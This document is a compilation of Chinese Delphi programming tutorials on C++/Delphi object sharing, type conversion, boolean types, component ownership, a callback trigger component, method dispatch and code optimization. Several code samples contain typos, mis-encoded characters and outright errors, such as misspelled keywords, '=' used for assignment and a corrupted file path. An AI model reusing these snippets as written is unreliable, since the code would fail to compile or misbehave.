fuction func1(x:integer):pchar;
procedure proc2;
fuction func2:integer;
end;

在c++程序中做如下对象原型说明:

class stestobject {
virtual void proc1(int x)=0;
virtual char *func1(int x)=0;
};

为了能在c++中成功地访问delphi定义的类, delphi接口说明时必须包含一个可共享的"制造函数(factory function)"createtestobject,该制造函数可被定义在动态链接库或目标文件(.obj)中,例如:

library testlib;

exports createtestobject;
function createtestobject:stestobject; stdcall;
begin
result:=ttestobject.create;
end;
…
end.

经过这样的处理,现在可在c++程序中使用这个由delphi定义的对象,调用方式如下:

extern "c" stestobject stdcall *createtestobject();

void usetestobject(void) {
stestobject *thetestobject=createtestobject();
thetestobject->proc1(10);
char *str=thetestobject->func1(0);
}

当调用制造函数createtestobject时,实际上已经在delphi一侧占用了一个对象实例的空间,c++程序在针对该对象的所有处理完成后必须考虑释放这一空间,具体的实现可在delphi中定义一个类,如上述proc1的共享方法free,以此来完成这一任务:

stestobject=class
procedure proc1(x:integer); virtual; abstract; stdcall;
function func1(x:integer); virtual; abstract; stdcall;
procedure free; virtual; abstract; stdcall;
end;

…

implementation

…

procedure ttestobject.free;
begin
…
end;
…
end.

2.delphi共享c++对象

通常,程序员会考虑使用delphi来编制用户界面,所以delphi代码调用c++代码似乎显得更加实际些。其实,delphi共享c++对象的实现方法与上述c++共享delphi对象非常相似。用同样的共享接口与实现接口说明方法来定义c++的类:

class stestobjedt {
virtual void proc1(int x)=0;
virtual char *func1(int x)=0;
};

class ttestobjedt :public stestobject {
void proc1(int x);
char *func1(int x);
void proc2();
int func2();
void free();
};

然后实现这些方法。同样地,c++对象需要一个与之对应的制造函数,这里以dll为例

stestobject stdcall export *createtestobject() {
return (stestobject *) new ttestobject.create;}

delphi代码可以通过调用制造函数createtestobject,很容易地在c++中创建实例,获得指向该实例的指针值,并以这个指针值来调用对象中的共享方法。当然,在进行完该对象的相关处理后,千万不要忘了调用free释放占用的空间。

浙江省奉化市房地产管理处 邵辉


Delphi的类型转换

    Delphi是一种强类型转换的语言。在VC中，赋值符用″=″,例如x=1;到了Delphi赋值符就变成了″:=″,例如x:=1。 从赋值时用符号″:=″而不用″=″,就隐约可见Delphi对类型匹配要求之严,即赋值符右边的类型一定要和左边一致。用惯了VB或VC的程序员,初用Delphi,稍不留神,就会出现类型不匹配的错误。对初学者而言,类型转换也是学习Delphi的重点和难点,为此本文特对Delphi的类型转换做一总结,以供读者参考。

一、数的类型转换

    把表达式的类型从一种类型转化为另一种类型,结果值是把原始值截断或扩展,符号位保持不变。例如:

数的类型转换 | 举例
字符转换为整数 | Integer('A')
整数转换为字符 | Char(48)
整数转换为1个字节的逻辑型 | Boolean(0)
整数转换为2个字节的逻辑型 | WordBool(0)
整数转换为4个字节的逻辑型 | LongBool(0)
整数转换为10进制pascal型字符串 | caption:=intToStr(15)
整数转换为16进制pascal型4位字符串 | caption:=intToHex(15,4)
地址转换为长整型数 | Longint(@Buffer)

二、数的“分开”与“合成”

取32位longint型数的高16位数为 | hiword(longint－var)
低16位数为 | loword(longint－var)
取16位数的 高8位数 | hibyte(integer_var)
低8位数为 | lobyte(integer_var)
取32位地址的段选择符和偏移量 段选择符(高16位地址)为 | selectorof(p)
偏移量(低16位地址)为 | offsetof(p)
段选择符和偏移量合成为指针 | Ptr(SEG, OFS: Word)相当于C语言的宏MK－FP(SEG,OFS) 例如在Windows中,Task DataBase结构0FAh偏移处包含'TD'标识,我们可以容易地编写如下代码观察到这个位于Windows内部的未公开的秘密: {函数ptr(seg,ofs)的用法,相当于C语言的MK－FP(seg,ofs)} var p:pbyte;ch:char; p:=ptr(getcurrentTask,＄FA); ch:=char(p^); {结果为ch='T'} p:=ptr(getcurrentTask,＄FA+1); ch:=char(p^); {结果为ch='D'}

三、字符串string 字符数组与指向字

    符串的指针pchar的区别与联系

    这3者的基本概念相同,但有一些非常细微的差别,在编程时稍不注意就会出错,需高度重视。

    1、使用指向字符串的指针,如果不是以0结尾,运行时就会出现错误。为了避免这种错误,需要在字符串结尾人工加入0 即char(0),或用strpcopy函数在字符串结尾自动加0。

    例1: 指向字符串的指针,如果不是以0结尾,运行时会出现错误:

    {s[0]=3 s[1]='n' s[2]='e' s[3]='w'}

    var
    s:string;
p:pchar;
    begin
    s:='new';
   label1.caption:=s; {new}
  label2.caption:=intTostr(integer(s[0]));{3是字符串的长度}

    p:=@s[1];{不是以0结尾,莫用pchar型指针}
     label3.caption:=strpas(p); {运行时出现错误}
    end;

    例2:在字符串结尾人工加入0即char(0),可使用指向字符串的指针。

    {s[0]=4 s[1]='n' s[2]='e' s[3]='w' s[4]=0;}
    {p－－>'new'}
    var
s:string;
p:pchar;
    begin
    p:=@s[1];
    s:='new'+char(0); {以0结尾,可用pchar型指针}
    label1.caption:=strpas(p); {new}
    label2.caption:=s; {new}
     label3.caption:=intTostr(integer(s[0])); {4是字符串长度　　end;

    例3: 用strpcopy函数赋值会在字符串s结尾自动加0。

    {s[0]=4 s[1]='n' s[2]='e' s[3]='w' s[4]=0;}
    {p－－>'new'}
    var
s:string;
p:pchar;
    begin
    p:=@s[1];
  strpcopy(p,'new');{strpcopy函数在字符串结尾自动加0}
    label1.caption:=strpas(p);{new}
     label2.caption:=s;{new}
    label3.caption:=intTostr(integer(s[0]));{4}
    end;

    2、下标为0的字符串标识符存放的是字符串长度,字符型数组基本相当于字符串,但不能存放字符串长度。字符串可以用s:='a string'的形式赋值,但是字符型数组a[ ]不可直接用a:='array'的形式赋值,用此种形式会出现类型不匹配错误,可选用strpcopy函数赋值。

    例4: 字符型数组s[ ]相当于字符串,但没有存放字符串长度的位置。

    {s[1]='n' s[2]='e' s[3]='w' s[4]=0;}
    {p－－>'new'}
    var
s:array[1..10] of char;
p:pchar;
    begin
    {s:='new'+char(0); error}{错误}
    p:=@s[1];
    {p:=@s; is not correct}
    strpcopy(p,'new');
    label1.caption:=strpas(p);{new}
    label2.caption:=s;{new}
     {label3.caption:=intTostr(integer(s[0]));}{不会出现4, 下
超出错误}
    end;

    例5:下标从0开始的字符数组s,s相当于@s[0]。

    { s[0]='n' s[1]='e' s[2]='w' s[3]=0;}{p－－>'new'}
    var
s:array[1..10] of char;
p:pchar;
    begin
    {s:='new'+char(0); error}{错误}
   p:=s;
    {p:=@s[0] is also correct}
    strpcopy(p,'new');
    label1.caption:=strpas(p);{new}
    label2.caption:=s;{new}
    label3.caption:=s[0];{n}
end;

    3、下标从0开始和从1开始的字符数组地址的表示方法也有细微不同:

    例6:下标从1开始的数组a 与下标从0开始的数组b 的比较。

    var
a:array[1..10]of char;
b:array[0..10]of char;
    {a:='1..10';}{type mismatch}
    {b:='0..10';}{type mismatch}
begin
    strpcopy( b, 'from 0 to 10'); {正确 因为b即是@b[0] }
    strpcopy(@b[0], 'from 0 to 10'); {正确 与上个表达式
果相同}
    strpcopy(@a[1], 'from 1 to 10'); {正确 }
    strpcopy( a, 'from 1 to 10'); {类型匹配错误 因为a即是a[0]}
end;


布尔类型辨析

苏涌(2000-09-29)

    delphi中预定义的布尔类型有四种：boolean ，bytebool，wordbool，longbool。其中，boolean 类型是首选布尔类型，其余三种是为其它编程语言和windows 环境提供兼容性支持。这些布尔类型在使用上大同小异，但如果混淆使用将可能会有意外结果。

    现做简单辨析供大家参考。

一、从资源占用的角度进行比较

    一项boolean 类型的数据占用 1字节的内存；

    一项bytebool类型的数据占用 1字节的内存；

    一项wordbool类型的数据占用 2字节的内存；

    一项longbool类型的数据占用 4字节的内存。

    如果开发者在进行程序设计时将构造一种含有布尔数据类型的结构类型，那么在资源占用方面将有所考虑。尽管这些数据类型之间是可以相互赋值的，但某些特殊情况下是有区别的。首先看下面的语句：

    type

     byteboolfile = file of bytebool;

     longboolfile = file of longbool;

    这里，如果在这两中类型文件中存储相同数量的布尔值，其文件大小是不同的。而对同一物理文件按照这两种类型文件分别读取数据，其结果更是相去甚远。

    下面是比较bytebool和longbool的一段程序，得到的文件 test1.bin和 test2.bin的文件尺寸分别为 4字节和16字节。

    procedure comparebyteboolwithlongbool;
    const
     fname1 = 'c: est1.bin';
     fname2 = 'c: est2.bin';
    type
     byteboolfile = file of bytebool;
     longboolfile = file of longbool;
    var
     bf: byteboolfile;
     lf: longboolfile;
     b: boolean;
    begin
     b := false;
     assignfile(bf, fname1);
     rewrite(bf);
     write(bf, b, b, b, b);
     closefile(bf);
     assignfile(lf, fname2);
     rewrite(lf);
     write(lf, b, b, b, b);
     closefile(lf);
    end;
    有兴趣的朋友可以在此基础上再比较一下读取数据的区别，你会有更奇特的发现。

二、从布尔值的操作角度进行比较
    在delphi中，布尔值只能被赋予预定义的常量true和 false之一。上述四种布尔数据类型有如下关系：

    boolean bytebool，wordbool，longbool
    false < true false <> true
    ord(false) = 0 ord(false) = 0
    ord(true) = 1 ord(true) <> 0
    succ(false) = true succ(false) = true
    pred(true) = false pred(false) = true
    不难看出，boolean 类型的有序的，而其它三种布尔数据类型是无序的。下面的程序给出了其中的部分区别：
    procedure comparebooleanwithlongbool;
    var
     b: boolean;
     lb: longbool;
    begin
     b := false;
     lb := false;
     if ord(b) = ord(lb) then
        showmessage('ord(b) = ord(lb) [b = lb = false]') //将被执行
     else
        showmessage('ord(b) <> ord(lb) [b = lb = false]');
     b := true;
     lb := true;
     if ord(b) = ord(lb) then
        showmessage('ord(b) = ord(lb) [b = lb = true]')
     else
        showmessage('ord(b) <> ord(lb) [b = lb = true]'); //将被执行
     showmessage('ord(b) = ' + inttostr(ord(b)));　　　　 //一定是 1
     showmessage('ord(lb) = ' + inttostr(ord(lb)));　　　　//可能是-1
    end;


Delphi中易混淆的概念

林毅 (06/22/2000)

    一、owner和parent的区别：

    parent属性是指构件的包容器，构件只能在此范围内显示和移动。举例子如下：

    (1)在form1的窗体上，放一个panel1,并将panel1拉大，

    (2)在panel1上放一button1；

    (3)在form1上放一button2。

    现在如果移动panel1,则button1随着panel1移动，这是因为button1的parent是panel1。现在将button2移到panel1上，再次移动panel1,button2并不跟着移动，这是因为button2的parent是form1。除在窗体设计中，应注意构件的parent是谁外，在动态创建构件时，也应指出构件的parent，如在上例中继续操作：

    1)procedure tform1.button2click(sender:tobjet);

    2)var

    3) button:tbutton;

    4) begin

    5) button:tbutton.cerate(self);

    6) button.parent=panel1;

    7) button.lleft=0;

    8) button.top=0;

    9) button.caption:='ok';

    10) end；

    当按button2时，将在panel1上创建一个button，而如果把第6句改为button.parent:=self；按button2时，将在form1上创建一个button了。如果将第6句删除，按button2时，什么都不会发生，这是因为创建方法无法知道应在哪里显示构件。

    owner属性是指构件的所有者，它负责构件的创建和释放。如在上例中，系统默认窗体上所有构件的所有者是窗体，而窗体的所有者是application。顺便指出，create方法应带有表示构件所有者的参数，如在上例中，构件所有者是窗体，即self。

    parent属性和owner属性是运行阶段的属性，只能在运行阶段，通过代码设置。

    二、self和sender的区别：

    在事件处理程序参数表中，至少含有一个参数sender,它代表触发事件处理程序的构件，如在上例中，sender就指button2，有了sender参数，可以使多个构件共用相同的事件处理程序，如下例：

    procedure tform1.buttonclick(sender:tobject);
    begin
    if sender=button1 then
    label1.caption:=′看庭前花开花落′　　else label2.caption:=′望天上云卷云舒′
    end；

    在此例中，button1,button2共用了buttonclick事件处理程序。

    self是指所编的程序范围是在哪一个类中，delphi中大都在窗体范围内编程，因此，self即指窗体，如果在编写一个类或是一个组件，则self指该类或组件。我们在函数或过程的声明中可看出self是代表哪个组件，即self代表‘.’号之前的组件，如在第一个例子中，self代表tform1。另外应注意，self只能用在类方法中，而不能用在过程或函数中，如下例用法是错的:function a1(b:integer):integer;
    begin
    ……
    button:=tbutton.create(self)；……
    end；

三、clientheight和height,clientwidth和width的区别：

    对于一般的构件而言，height就是clientheight,width就是clientwidth，而对于窗体而言，height是包括标题条在内的高度，而clientheight是指窗体工作区的高度。同理，clientwidth是指定窗体工作区的宽度。

    从上面陈述可知，理解ower和parent,self和sender，clientheight和height,clientwidth和width区别，对于delphi中正确编程是重要的。


触发回调栈

下面的方法保存回调函数于一个堆栈中，并与一个基于字串的列表相连，参数则保存在一个缓冲中。这种方法在分析器引擎中常常用到。

回答:
下面是该构件的源程序，它包含一个 stringlist。在此 stringlist 的对象数组中保存了一个堆栈的指针。
这些指针指向回调函数。开发者可以用它们来生成基于字串的触发器。触发器在缓冲属性被设置时触发。
这些处于堆栈内的指针允许开发者对他们作临时性的改变，并且要回到通常的调用方式也很轻松。
--- TriggerCB ---

unit TriggerCB;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
contnrs;

type
PFunc = function (msg:String) : Integer;
TTriggerType = ( ttPrefix, ttSubStr );

TTriggerList = class(TStringList)
private
list:TStringList;
public
procedure AddFunc(s: String; p: PFunc);
procedure AddTrigger(s: String; p: PFunc);
function GetFunc(s: String): PFunc;
function GetTriggeredFunc(s: String; t: TTriggerType): PFunc;
procedure RemoveFunc(s: String);
procedure RemoveTrigger(s: String);
constructor Create;
destructor Destroy; override;
end;

TTriggerCB = class(TComponent)
private
FTriggerType: TTriggerType;
FTriggerList: TTriggerList;
Fbuffer: String;
procedure SetTriggerType(const Value: TTriggerType);
procedure SetTriggerList(const Value: TTriggerList);
procedure Setbuffer(const Value: String);
{ Private declarations }
protected
{ Protected declarations }
public
constructor Create(AOwner:TComponent); override;
destructor Destroy; override;

published
property TriggerType:TTriggerType read FTriggerType write SetTriggerType default ttPrefix;
property TriggerList:TTriggerList read FTriggerList write SetTriggerList;
property buffer:String read Fbuffer write Setbuffer;
{ Published declarations }
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TTriggerCB]);
end;

{ TTriggerCB }

constructor TTriggerCB.Create(AOwner:TComponent);
begin
inherited;
FTriggerList := TTriggerList.Create;
FTriggerType := ttPrefix;
end;

destructor TTriggerCB.Destroy;
begin
inherited;
FTriggerList.free;
end;

procedure TTriggerCB.Setbuffer(const Value: String);
var
p:PFunc;
begin
Fbuffer := Value;
p:=FTriggerList.GetTriggeredFunc(Fbuffer, FTriggerType);
if (@p<>Nil) then p(Fbuffer);
end;

procedure TTriggerCB.SetTriggerList(const Value: TTriggerList);
begin
FTriggerList := Value;
end;

procedure TTriggerCB.SetTriggerType(const Value: TTriggerType);
begin
FTriggerType := Value;
end;

{ TTriggerList }

procedure TTriggerList.AddFunc(s: String; p: PFunc);
var
i:Integer;
stack:TStack;
begin
i := list.IndexOf(s);
if (i<>-1) then begin
stack := TStack(list.Objects[i]);
if (stack<>Nil) then begin
stack.Push(@p);
end;
end;
end;

procedure TTriggerList.AddTrigger(s: String; p: PFunc);
var
stack:TStack;
begin
stack := TStack.Create;
list.AddObject(s, stack);
stack.Push(@p);
end;

constructor TTriggerList.Create;
begin
list:=TStringList.Create;
end;

destructor TTriggerList.Destroy;
begin
inherited;
while list.Count > 0 do begin
list.Objects[0].free;
list.Delete(0);
end;
list.Free;
end;

function TTriggerList.GetFunc(s: String): PFunc;
var
i:Integer;
stack:TStack;
begin
Result:=Nil;
i := list.IndexOf(s);
if (i<>-1) then begin
stack := TStack(list.Objects[i]);
if (stack<>Nil) then begin
if (stack.Count>0) then
Result := Pointer(stack.Peek);
end;
end;
end;

function TTriggerList.GetTriggeredFunc(s: String; t: TTriggerType): PFunc;
var
i:Integer;
p:Integer;
begin
Result:=Nil;
for i:=0 to list.Count-1 do begin
p := Pos(list.Strings[i], s);
if (t = ttSubStr) and (p > 0) then break;
if (t = ttPrefix) and (p = 1) then break;
end;
if (i < list.Count) then begin
Result := GetFunc(list.Strings[i]);
end;
end;

procedure TTriggerList.RemoveFunc(s: String);
var
i:Integer;
stack:TStack;
begin
i := list.IndexOf(s);
if (i<>-1) then begin
stack := TStack(list.Objects[i]);
if (stack<>Nil) then begin
if stack.Count>0 then
stack.Pop;
end;
end;
end;

procedure TTriggerList.RemoveTrigger(s: String);
var
i:Integer;
begin
i := list.IndexOf(s);
if (i<>-1) then begin
list.Objects[i].free;
list.Delete(i);
end;
end;

end.

--- Unit1 --

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
TriggerCB, StdCtrls, shellapi;

type
TForm1 = class(TForm)
TriggerCB1: TTriggerCB;
Button1: TButton;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

function MyFunc(s:String):Integer;
begin
ShowMessage(s);
result:=0;
end;

function MyFunc2(s:String):Integer;
begin
ShowMessage('2');
result:=0;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
TriggerCB1.TriggerType := ttSubStr;
TriggerCB1.TriggerList.AddTrigger('wow', @MyFunc);
TriggerCB1.TriggerList.AddFunc('wow', @MyFunc2);
TriggerCB1.buffer := 'it is wownderful';
TriggerCB1.TriggerList.RemoveFunc('wow');
TriggerCB1.buffer := 'it is wownderful';
TriggerCB1.TriggerList.RemoveFunc('wow');
TriggerCB1.buffer := 'it is wownderful';
end;

end.


静态虚拟及动态方法函数的区别

1、静态方法是方法的缺省类型，对它就像对通常的过程和函数那样调用，编译器知道这些方法的地址，所以调用一个静态方法时它能把运行信息静态地链接进可执行文件，所以，静态方法速度最快，但它们却不能被覆盖来支持多态性。

2、虚拟方法和静态方法的调用方式相同。由于虚拟方法能被覆盖，在代码中调用一个指定的虚拟方法时编译器并不知道它的地址，因此，编译器通过建立虚拟方法表（VMT)来查找在运行时的函数地址。所有的虚拟方法在运行时通过VMT来高度，一个对象的VMT表中除了自己定义的虚拟方法外，还有它的祚的所有的虚拟方法，因此虚拟方法比动态方法用的内存要多，但它执行得比较快。

3、动态方法跟虚拟方法基本相似，只是它们的高度系统不同。编译器为每一个动态方法指定一个独一无二的数字，用这个数字和动态方法的地址构造一个动态方法表（DMT）。不像VMT表，在DMT表中仅有它声明的动态方法，并且这个方法需要祖先的DMT表来访问它蓁的动态方法。正因为这样动态方法比虚拟方法用的内存要少，但执行起来罗慢，因为有可能要到祚对象的DMT中查找动态法。

4、OP通过覆盖使一方法在不同的派生类间表现出不同的行为。OP中能被覆盖的方法是在声明时被标识为virtual或dynamic的方法。为了覆盖一个方法，在派生类的声明中用override代替virtual或dynamic。用了override后，编译器就会用新的方法替换VMT中原先的方法，而原先的方法也还存在，而如果用override再次声明一个静态方法，则是真正的覆盖，是用新的方法完全替换在祖先类中的同名方法。


对某事件响应只执行一次

有时，你希望对事件的响应函数只执行一次，比如当 Form 第一次显示时。你可以使用 OnShow 或 OnActivate 事件。问题是每次 form 显示或被激活时事件响应函数都会被调用，这不合我们的要求。其实有一个很简单的解决方法，就是在事件处理代码的第一行将此事件响应函数设为空（nil）。

回答:
下面列出代码：
procedure Tform1.FormActivate(Sender: TObject);
begin
OnActivate := nil;
// The rest of your code goes here
end;
procedure Tform1.FormShow(Sender: TObject);
begin
OnShow := nil;
// The rest of your code goes here
end;

就这么简单，你就可以达到对某个事件只响应一次的要求。显然它对所有事件都适用。


Delphi代码优化完结篇

撰文/杜嵩 月光转载自程序员杂志第四期

局部变量

与C不同的是Delphi没有类似register的指示字，无法显式地定义一个寄存器变量，因为Delphi编译器已将这一步智能化了。有些局部变量会被自动化为寄存器变量，当然到底是哪些变量，Delphi内部是有自己的标准的，一般来说，被引用的较多的变量总是能被优化。而全局变量则无此好处。当然也有例外，以简单变量为元素的数组，作为全局变量可节约一个寄存器，而像字符串、动态数组、对象这类“堆栈变量”也不一定特意将其局部化。（之所以称它们为“堆栈变量”，是因为作为局部变量，它们仅在栈中存放一个指针，指向堆中分配的存储区，由此需要额外的入口和出口代码，Borland官方对此的解释是堆比栈快。）

局部过程

过程内部套过程，这也是Delphi独有的语法。然而调用局部过程会带来额外的栈操作，以便局部过程内可以访问其父过程的变量。因此有必要把局部过程挪出来，然后用参数传递需要的变量。

过程参数

Delphi中默认的调用约定是register，这种方式下EAX、ECX、EDX可被用来传递参数，所以过程的参数一般不要多于三个。而在对象类型的方法中，由于有了隐含的Self指针，建议参数不多于两个。

指针变量

指针是个极有用的东东，Java中弃之不用，C#中又被重拾。在Delphi中，指针为4字节大小，也可被寄存器化。有时候我们可以“暗示”编译器那么做，方法是使用with子句，比如:

with SomeStructure.SomeVar[i] do ///有些变量是类或者结构

begin

…

end;

这样，本来不会被优化的SomeStructure.SomeVar[i]就被寄存器化了。

数组

自从有了动态数组和乘法能力大幅提升的PII，链表除了在教科书里出现外，已经很少在实际编程中被使用了，事实也是如此，数组的确比传统链表快得多。

在Delphi中，数组类型有静态数组（var a:array[0..9] of byte）、动态数组（var a:array of byte）、指针数组（即指向静态数组的指针）和开放数组（仅用于参数传递）。静态数组、指针数组有速度快的好处，动态数组有大小可变的优势，权衡之下就有了折衷的办法，那就是定义的动态数组在必要时转换为指针。

值得注意的是，不加const或var修饰的动态数组会被作为形参传递，而动态数组用const修饰并不意味着你不能修改数组里的元素（不信你在上例中加上a[1]:=0;编译器不会报错）。上例中之所以没有使用High(a)而用了Length(a)是因为High调用了Length。

流程控制

对于结构化程序而言，break、continue、exit是不大被提倡的，但它们产生的代码是最简洁的，所以在编程中仍然占有一席之地。

Delphi引入了异常的概念，应当说是Object Pascal的一大进步。但异常捕捉是建立在增加额外代码的基础上的，在很少的代码外嵌套try块或是在循环内部使用异常捕捉，未免影响效率。另外，对于异常不做处理就简单丢弃也不是个好习惯。

强制类型转换

很多人习惯用absolute来进行类型转换，但这会阻止此变量成为寄存器变量。因而在过程中使用类型转换是个更好的选择。

枚举、集合

对于集合类型，增减单个元素时用include、exclude比s:=s+[a];快，这无须多言。

另外，可以用{$Zn}指示字来定义枚举类型的大小，将之定义为{$Z4}四字节可能会更快。

Pentium II带来的新问题

PII最不一般的特性就是它“超标量、多通道、乱序执行”的能力。“多通道”是指CPU内部有3个载入通道（其中两个只能载入简单指令）、5个执行通道（一个负责整数运算、一个负责整数和浮点运算、一个作地址运算，还有两个负责存取数据）和三个卸出通道；“乱序执行”则允许互不影响的指令在同一个时钟周期内、不同的通道内同时执行。这对代码执行的影响就是有些指令要执行一两个时钟周期（比如连续的浮点运算）、有些却因为并行而无需额外的执行周期（比如计算后的跳转）。以上只是概述，更详细的需要参考专门的Pentium优化指南和Intel的相关文档。

CPU视图

Delphi32的IDE中都有CPU视图（Delphi2、3中可通过修改注册表项来打开），调试时看看相应的汇编源码，以了解代码的优化情况，甚至精确计算所需的时钟周期（如果你水平足够的话），还是相当有效的。

循环语句

Delphi在编译循环语句时有自己独特而有效的方式，而且在大多数情况下工作得很好，但有时也需要自己弄些别的花样来，比如在较小的循环中使用更接近“汇编本质”的while结构。另外，对于较紧凑的循环将它们打开成非循环的代码，似乎更能适应PII下分支预测的倾向。

一个优化循环的例子:

for i:=1 to 40 do

begin

if i=20 then a[i]:=a[i]+20 else a[i]:=a[i]+10;

end

改写为:

for i:=1 to 19 do a[i]:=a[i]+10;

a[20]:=a[20]+20;

for i:=21 to 40 do a[i]:=a[i]+10;

增加了代码量，但减少了判断次数。减少循环条件判断也是增速的关键。

case语句

当case语句子界很多，不妨把它们分成几个部分，再套一层case。

当case语句的子界中有一两项常常用到，不妨把它们放在case前面用if判断。

填充和移动内存

在填充和移动大量内存时，最好自己写汇编，用32位指令实现。但使用movsd、stosd这类指令很容易遇到一个问题:数据地址或大小（尤其是后者）没有双字对齐怎么办？答案是这里是有空子可钻的，大多数数据在分配时总是默认双字对齐的，比如只考虑dword对齐。当然，鉴于这个做法会带来潜在的风险甚至bug，还是建议谨慎采用。

接口和虚方法

Object Pascal和java一样，不支持多重继承，但可以用interface实现。但在Delphi中interface意味着双重指针。

而调用一次虚方法，则需要通过对象指针得到VMT指针，再从VMT中取得方法指针，因而在必要时可以用变通的办法来实现。

代码对齐

代码对齐有增加代码大小的缺点，但它带来的速度提升的好处使这点牺牲显得值得，所以一般还是建议打开它。

代码风格

Pascal是一种优美的语言（相对于C++是一种简洁的语言--我在此并没有厚此薄彼的意思）。就我个人而言，为了优化而破坏这种优美实在心有不甘，好在Delphi并不会令我感到尴尬，反而是混乱的代码会带来问题。因此，保持良好的代码风格实在必要。

相信编译器

Borland拥有世界上最出色的编译器（当然也许更好的在你的脑子里），不仅速度快，而且编译期优化能力也是一流。因此在大多数情况下，自然的代码就能达到较高的效率，你不必为每段代码都绞尽脑汁，只要关键部分够快就行。

代码计时

在代码优化过程中，计时是一个很有效的手段，有很多这方面的软件可用。尽管不必像某些杂志上讲的那样，拿个什么xxxMark穷折腾。不过用来量化一下自己代码效率的实际提升倒是件挺有成就感的事。

写在最后

人们总是倾向于有一套美妙的规则，可以应对一切情形，可惜这对写文章无效，对代码优化同样如此。最有效的优化无过于算法的优化。因此，对编程者来予，保持一个开放的头脑，不断学习实践，才是成功的不二法门。


Delphi代码优化浮点篇

撰文/杜嵩 月光转载自程序员杂志第三期

忘掉extended

extended很大（10字节，如果代码对齐就有12字节），读写运算都很慢，是优化的大敌。且Delphi2-4对extended的代码对齐有bug。因此，若非必要，不要用extended。

同时，在混合浮点类型的运算中，编译器为了不丢失精度，临时变量以extended类型存储，所以要避免混合浮点运算。

还有，用const定义的常量，如不加指明，则也默认为extended类型。解决办法是，配合$J指示字，定义指明类型常量（typed constand）。

改变FPU控制字

默认的FPU控制字令除法运算和PII/PIII上的平方根运算慢而精确，当无须得到这样的结果时，可用Set8087CW让FPU“偷懒”。

对于Single类型:Set8087CW(Default8087CW and $FCFF)

对于Double类型:Set8087CW((Default8087CW and $FCFF) or $0200)

对于extended类型:Set8087CW(Default8087CW or $0300)

多用Round

Trunc会读写FPU指令字，而Round不会，所以可以的话，尽量用Round。

传送实参

对于返回浮点值的函数，入口和出口处会有附加的压栈退栈，对形如:

function func(x : SomeType): SomeFloat;

不妨改写为:

procedure func(x : SomeType; var fp : SomeFloat);

对于在过程中未修改的浮点形参，没必要用const修饰，因为那除了增加一个编译期检查外，别无用处。相应的对策是用var修饰为实参，强制传址。

自己动手，丰衣足食

Delphi本身不对浮点运算作任何优化，因此很多时候，还得自己用汇编来解决。

值得注意的是，Delphi中浮点异常的触发，不是在出错之后，而是在下一条浮点指令之前。因此，通常的作法是，在一次浮点操作完毕后，加一条FWAIT指令。

减少除法

除法，即多次的减法，其代价是相当昂贵的，因而有必要减少除法的次数。

另外，对于简单除法（如:a/5），编译器不一定（？！）会将其变为乘法（a*0.2），比如:

fp:=fp*3*4/5+3*4/2;

在Delphi 4中，会被编译为:

fp:=fp*3*4/5+6;

而只有:

fp:=3*4/5*fp+3*4/2;

才会被编译为:

fp:=2.4*fp+6;

鉴于编译器的繁复规则，建议这一步优化自己完成。

浮点零的检查

检查一个浮点数是否为零，如果简单的“Afloat=0”，会把0转换为浮点零。而更好的办法是这样:

对于Single类型:(Dword(pointer(Asingle))shl 1) =0

对于Double类型:

type

DoubleData=record lo,hi:Dword end;

Var

ADouble:Double;

Dd:DoubleData absolute Adouble;

begin

…

if ((dd.hi shl 1)+dd.lo)=0 then …

end;

此法在PII上有30%-40%的效率提升。


Delphi代码优化整数篇

Delphi代码优化（二） 整数篇

尽量使用32位变量

在32位代码中，32位变量是默认处理格式；16位变量（word，shortint，widechar）的运算会令处理器临时切换为16位处理模式，因而需要双倍的处理时间；相较之下，8位变量（byte，char）只要不与其它混用，却不会太慢。如果实在需要多次使用一个8或16位变量，可以考虑把它临时转换成32位变量，这只需要一步赋值：ADWord:=Aword;

避免使用子域类型

Pascal语言的一大优势便是其丰富的数据类型，Delphi之Object Pascal继承了这一传统，枚举和子域类型即属此类。但不幸的是，他们会为优化带来麻烦，因为它们的占用的字节数取决于其子域的大小。比如一个元素数不超过256个的枚举类型会占用1个字节，而例如MyYear=1900..2000则会占用两个字节，而如前文所述，16位变量是很慢的。

简化表达式

过于复杂的表达式会妨碍编译器的自动优化，这时可以考虑引入临时变量来化简表达式，这样可能（！）可以得以优化，更重要的是提高了代码的可读性。

不再畏惧乘法

PII出现以前，乘法运算是相当费时的，以至于当时的经典优化方法便是把一类特殊的乘法转变为移位运算和加法。而今，在作为标准配置的PII上，乘法和多数其它运算一样，只需要一个指令周期即可完成。当然Delphi编译器仍然会把诸如*2之类的运算优化为shl 1，这也不坏，不是吗？

临时子域类型

才揭过子域类型的短，又来说它的妙用:-p 但这也不是真正的子域类型，不过是形式上相似罢了。像以下的语句：

if ((x>=0) and (x=<10)) or ((x>=20) and (x<=30)) then …

可以改写为：

if x in [0..10,20..30] then …

子域数越多，优化效果越明显。不过除了在NOI题目里以外，天下可没有免费馅饼，这回的代价是占用一个临时寄存器。

movzx 与 xor/mov

这是读入小于32位数据的两种不同方法，后者在PII以前更具优势，而前者在PII上因其乱序执行的特性而显得更有效率。编译器对此的取舍规则似乎很复杂，必要时还是自己用嵌入汇编好了。

大整数运算

对付大整数（超过32位的），你有四种武器（为什么不是七种？问Borland，别来问我）——int64、comp、double和extended。其中除了64位整数类型int64外，其余都是浮点数，其运算都是由FPU指令实现的。这其中的comp类型，存储结构同int64一模一样，按照Borland的官方说法，comp类型已经过时，应当被int64所取代，理由很简单——整数运算总比浮点快吧。然而根据一项在PII上进行的测试，int64除了在加减运算中具有无可比拟的优势外，在乘除方面，竟比浮点数还慢！

好在还有老当益壮的comp，只是稍有些繁琐。

首先将变量声明为int64，并声明两个辅助元：

var

a,b,c,d,e: int64;

ca:comp absolute a;

cc:comp absolute c;

加减法不用变，除法就如下处理：

c:=trunc(ca/b); //is faster than c:= a div b

乘法这么来：

e:=round(ca*b+cc*d); //is faster than e:=a*b+c*d;


局部常量做静态变量

我们可以把常量当变量用

比如

procedure demo;
const
a:integer=0;
begin
inc(a);
showmessage(inttostr(a));
end;

Delphi 6同样支持局部常量做静态变量的用法。
Delphi6中有一个$WRITEABLECONST的“编译器开关”，缺省是OFF,设为On就可以了。

Delphi6的Help中有这样的代码：
{$WRITEABLECONST ON}
